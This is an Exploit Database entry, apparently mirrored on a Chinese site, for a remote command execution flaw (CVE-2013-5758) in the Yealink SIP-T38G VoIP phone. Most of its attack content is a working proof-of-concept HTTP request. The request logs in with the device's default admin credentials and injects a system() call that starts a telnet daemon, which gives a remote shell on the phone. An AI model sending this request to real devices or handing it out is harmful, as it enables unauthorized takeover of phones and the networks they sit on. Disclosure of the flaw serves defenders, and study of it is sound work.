Yealink VoIP Phone SIP-T38G – Remote Command Execution

• Exploit Database
• 119 阅读

• 作者： Mr.Un1k0d3r
  日期： 2014-06-13
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/33741/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  Title: Yealink VoIP Phone SIP-T38G Remote Command Execution Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team Vendor Homepage: http://www.yealink.com/Companyprofile.aspx Version: VoIP Phone SIP-T38G CVE: CVE-2013-5758   Description:   Using cgiServer.exx we are able to send OS command using the system function.   POC:   POST /cgi-bin/cgiServer.exx HTTP/1.1 Host: 10.0.75.122 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Authorization: Basic YWRtaW46YWRtaW4= (Default Creds CVE-2013-5755) Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 0   system("/bin/busybox%20telnetd%20start")       -- *Mr.Un1k0d3r** or 1 #*